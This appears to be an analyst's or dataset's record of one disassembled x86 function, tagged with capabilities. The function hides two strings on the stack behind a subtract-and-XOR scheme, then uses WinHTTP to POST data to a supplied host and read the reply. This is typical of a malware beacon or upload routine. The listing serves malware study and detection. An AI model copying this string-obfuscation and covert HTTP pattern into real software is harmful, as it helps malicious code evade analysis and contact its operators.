Function at 0x4341b6
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Initialize winhttp library
Prepare http request
Receive http response

Disassembly:
push 0x804
mov eax, 0x4e0594
call fcn.004c1130
mov dword [ebp - 0x7e8], edx
mov edi, ecx
mov esi, dword [ebp + 0xc]
xor edx, edx
mov eax, dword [ebp + 8]
mov dword [ebp - 0x810], eax
cmp dword [esi + 0x14], 0x10
mov dword [esi + 0x10], edx
jb 0x4341e8
mov eax, dword [esi]
jmp 0x4341ea
mov eax, esi
mov byte [eax], dl
mov ecx, edx
mov dword [ebp - 0x17a], 0x42424219
mov dword [ebp - 0x17e], 0x42124214
mov dword [ebp - 0x182], 0x420d4213
mov dword [ebp - 0x186], 0x424e4254
mov dword [ebp - 0x18a], 0x425d425e
mov dword [ebp - 0x18e], 0x42594250
mov dword [ebp - 0x192], 0x426e4222
mov dword [ebp - 0x196], 0x4207420e
mov dword [ebp - 0x19a], 0x420c426b
mov dword [ebp - 0x19e], 0x4273426b
mov dword [ebp - 0x1a2], 0x42224207
mov dword [ebp - 0x1a6], 0x42114214
mov dword [ebp - 0x1aa], 0x420c4222
mov dword [ebp - 0x1ae], 0x426e4274
mov dword [ebp - 0x1b2], 0x4222424f
mov dword [ebp - 0x1b6], 0x424b4253
mov dword [ebp - 0x1ba], 0x425e4254
mov dword [ebp - 0x1be], 0x4259426b
mov dword [ebp - 0x1c2], 0x42224207
mov dword [ebp - 0x1c6], 0x42124214
mov dword [ebp - 0x1ca], 0x42094222
mov dword [ebp - 0x1ce], 0x427d4279
mov dword [ebp - 0x1d2], 0x426f4275
mov dword [ebp - 0x1d6], 0x42224207
mov dword [ebp - 0x1da], 0x425d4256
mov dword [ebp - 0x1de], 0x42604259
mov dword [ebp - 0x1e2], 0x424e4261
mov dword [ebp - 0x1e6], 0x42524255
mov dword [ebp - 0x1ea], 0x4253425f
mov dword [ebp - 0x1ee], 0x421a4222
mov dword [ebp - 0x1f2], 0x42124214
mov dword [ebp - 0x1f6], 0x420d4213
mov dword [ebp - 0x1fa], 0x42614256
mov dword [ebp - 0x1fe], 0x42564259
mov dword [ebp - 0x202], 0x42484253
mov word [ebp - 0x204], 0x4275
mov al, byte [ebp + ecx - 0x204]
sub al, 3
xor al, 0x3f
mov byte [ebp + ecx - 0x204], al
inc ecx
cmp ecx, 0x8e
jl 0x434355
push edx
push edx
push edx
push 1
lea eax, [ebp - 0x204]
push eax
call dword [sym.imp.WINHTTP.dll_WinHttpOpen]
mov ebx, eax
mov dword [ebp - 0x808], ebx
test ebx, ebx
je 0x434606
mov eax, 0x2710
push eax
push eax
push eax
push eax
push ebx
call dword [sym.imp.WINHTTP.dll_WinHttpSetTimeouts]
push 0
push 0x50
push edi
push ebx
call dword [sym.imp.WINHTTP.dll_WinHttpConnect]
mov ebx, dword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov dword [ebp - 0x80c], eax
test eax, eax
je 0x4345fe
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
push dword [ebp - 0x7e8]
push str.POST
push eax
call dword [sym.imp.WINHTTP.dll_WinHttpOpenRequest]
mov edi, eax
test edi, edi
je 0x4345f6
mov dword [ebp - 0x82], 0x42424238
xor ecx, ecx
mov dword [ebp - 0x86], 0x42354238
mov dword [ebp - 0x8a], 0x4235425e
mov dword [ebp - 0x8e], 0x425d425e
mov dword [ebp - 0x92], 0x4253425f
mov dword [ebp - 0x96], 0x4254425d
mov dword [ebp - 0x9a], 0x42564250
mov dword [ebp - 0x9e], 0x424d4215
mov dword [ebp - 0xa2], 0x42554250
mov dword [ebp - 0xa6], 0x4253425c
mov dword [ebp - 0xaa], 0x4215424b
mov dword [ebp - 0xae], 0x424b424b
mov dword [ebp - 0xb2], 0x4215424a
mov dword [ebp - 0xb6], 0x42134254
mov dword [ebp - 0xba], 0x42534259
mov dword [ebp - 0xbe], 0x424e4261
mov dword [ebp - 0xc2], 0x425f4259
mov dword [ebp - 0xc6], 0x42564252
mov dword [ebp - 0xca], 0x42524261
mov dword [ebp - 0xce], 0x4208425d
mov dword [ebp - 0xd2], 0x42524249
mov dword [ebp - 0xd6], 0x426e4215
mov dword [ebp - 0xda], 0x424e4254
mov dword [ebp - 0xde], 0x425d424e
mov dword [ebp - 0xe2], 0x42544253
mov word [ebp - 0xe4], 0x427f
mov al, byte [ebp + ecx - 0xe4]
sub al, 3
xor al, 0x3f
mov byte [ebp + ecx - 0xe4], al
inc ecx
cmp ecx, 0x66
jl 0x4344e9
lea eax, [ebp - 0xe4]
push eax
lea ecx, [ebp - 0x804]
call fcn.004034e9
mov eax, dword [ebp - 0x810]
mov ecx, eax
and dword [ebp - 4], 0
push 0
push dword [eax + 0x10]
push dword [eax + 0x10]
call fcn.00401a15
push eax
push dword [ebp - 0x7f4]
lea ecx, [ebp - 0x804]
call fcn.004035b9
push eax
push edi
call dword [sym.imp.WINHTTP.dll_WinHttpSendRequest]
push 0
test eax, eax
je 0x4345e2
push edi
call dword [sym.imp.WINHTTP.dll_WinHttpReceiveResponse]
test eax, eax
je 0x4345e0
and dword [ebp - 0x7ec], 0
push 0x5dc
lea eax, [ebp - 0x7e3]
mov byte [ebp - 0x7e4], 0
push 0
push eax
call fcn.004be330
add esp, 0xc
lea eax, [ebp - 0x7ec]
push eax
push edi
call dword [sym.imp.WINHTTP.dll_WinHttpQueryDataAvailable]
test eax, eax
je 0x4345e0
cmp dword [ebp - 0x7ec], 0
je 0x4345e0
and dword [ebp - 0x7e8], 0
lea eax, [ebp - 0x7e8]
push eax
push 0x5dc
lea eax, [ebp - 0x7e4]
push eax
push edi
call dword [sym.imp.WINHTTP.dll_WinHttpReadData]
test eax, eax
je 0x4345e0
push dword [ebp - 0x7e8]
lea eax, [ebp - 0x7e4]
mov ecx, esi
push eax
call fcn.0040531a
cmp dword [ebp - 0x7ec], 0
ja 0x434566
push 0
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x804]
push 1
call fcn.00403864
push edi
call ebx
push dword [ebp - 0x80c]
call ebx
push dword [ebp - 0x808]
call ebx
mov eax, dword [esi + 0x10]
call fcn.004c10df
ret